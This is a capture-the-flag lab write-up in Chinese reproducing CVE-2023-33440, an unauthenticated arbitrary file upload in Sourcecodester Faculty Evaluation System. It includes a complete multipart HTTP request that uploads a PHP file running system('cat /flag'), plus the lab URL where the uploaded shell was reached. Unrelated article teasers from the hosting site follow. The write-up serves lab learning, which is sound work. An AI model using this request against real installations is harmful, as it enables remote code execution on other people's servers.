【春秋云镜】Faculty Evaluation System未授权任意文件上传漏洞(CVE-2023-33440)

embedded/2024/9/25 0:17:16/

因为该靶场没有Write up,索性自己搞一下,方便别人,快乐自己!

漏洞概述:

Sourcecodester Faculty Evaluation System v1.0 is vulnerable to arbitrary code execution via /eval/ajax.php?action=save_user.

漏洞复现:

访问目标地址

随便点都没啥东西,索性拿工具扫描下敏感路径

扫描到登录页面

登录邮箱不知道 一般是 admin@admin.com/admin 尝试无果,根据提示是未授权访问文件上传 ,应该不需要登录就能触发漏洞的,看了些漏洞介绍,直接burp suite抓包

POST /ajax.php?action=update_user HTTP/1.1
Host: XXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://XXX/index.php?page=report
Content-Length: 750
Content-Type: multipart/form-data; boundary=---------------------------166782539326470
Connection: close-----------------------------166782539326470
Content-Disposition: form-data; name="id"1
-----------------------------166782539326470
Content-Disposition: form-data; name="firstname"Administrator
-----------------------------166782539326470
Content-Disposition: form-data; name="lastname"a
-----------------------------166782539326470
Content-Disposition: form-data; name="email"admin@admin.com
-----------------------------166782539326470
Content-Disposition: form-data; name="password"admin
-----------------------------166782539326470
Content-Disposition: form-data; name="img"; filename="php.php"
Content-Type: application/octet-stream<?php system("cat /flag");?>
-----------------------------166782539326470--

只修改IP即可,发包即可上传成功

访问shell 地址,拿到flag

http://eci-2zecks8z718xjhk2x3al.cloudeci1.ichunqiu.com/assets/uploads/1718123700_php.php


http://www.ppmy.cn/embedded/47337.html

相关文章

与设备无关的I/O软件

目录 什么是设备无关的 I/O 软件&#xff1f; 设备无关的 I/O 软件的特征 设备无关的 I/O 软件的实现方法 设备无关的 I/O 软件的优势 设备无关 I/O 软件的好处 1. 一致的用户体验 2. 跨平台兼容性 3. 可访问性 4. 灵活性和可扩展性 5. 成本效率 6. 简化开发 示例分…

Discuz! X3.4发帖时间修改插件批量操作版

下载地址&#xff1a;Discuz! X3.4发帖时间修改插件批量操作版 发帖时间与回复时间说明 1、使用本插件修改发帖时间&#xff0c;则帖子中的回复楼层的时间会保持同步同间隔修改&#xff0c;所谓同步同间隔就是如果某个回复是在主题发布之后一小时回复的&#xff0c;那么修改之…

Altair® Inspire™ 加快仿真驱动设计,缩短产品上市时间

Inspire应用于产品开发生命周期的早期&#xff0c;通过协作加速了创新、结构高效的零件和装配体的创建、优化和研究。 Inspire 的用户体验屡获好评&#xff0c;用户可以在短短几个小时内掌握几何图形创建和修改操作&#xff0c;并且它还具有可靠的 Altair 求解器功能&#xff…

leetcode hot100 之 最长公共子序列

题目 给定两个字符串 text1 和 text2&#xff0c;返回这两个字符串的最长 公共子序列 的长度。如果不存在 公共子序列 &#xff0c;返回 0 。 一个字符串的 子序列 是指这样一个新的字符串&#xff1a;它是由原字符串在不改变字符的相对顺序的情况下删除某些字符&#xff08;…

社区版IDEA 最好用的Diagrams替代插件

Diagrams 是专业版IDEA功能&#xff0c;能很方便的生成类图。但在社区版中要比较方便的生成类图&#xff0c;就比较麻烦&#xff0c;虽然插件有一些但都不好用。 经过各种尝试对比还是SimpleUML更好用&#xff0c;SimpleUML 不能通过IDEA的插件界面安装&#xff0c;只能离线安装…

Freeswitch-soundtouch-变声开发

文章目录 一、介绍二、安装soundtouch2.1 源码安装方式&#xff08;推荐&#xff09;2.1.1下载源码2.1.2解压2.1.3 编译2.1.4 迁移&#xff08;可选&#xff09; 2.2 apt-get 安装 三、使用3.1 终端使用3.2 Freeswitch使用3.2.1编译Freeswitch的mod_soundtouch3.2.2启用 mod_so…

UML实战-BUG管理系统

概述 根据 UML建模的过程来进行一个完整系统的设计–Bug 管理系统。下面是一个标注 UML 设计过程的参考。 需求分析:用例图。系统分析:分析业务规则–状态图。系统分析:分析业务流程–活动图。系统设计:设计静态结构–类图和包图。系统设计:Action类被调用关系–序列图。…

opencv 通过滑动条调整阈值处理、边缘检测、轮廓检测、模糊、色调调整和对比度增强参数 并实时预览效果

使用PySimpleGUI库创建了一个图形用户界面(GUI),用于实时处理来自OpenCV摄像头的图像。它允许用户应用不同的图像处理效果,如阈值处理、边缘检测、轮廓检测、模糊、色调调整和对比度增强。用户可以通过滑动条调整相关参数。 完整代码在文章最后,可以运行已经测试; 代码的…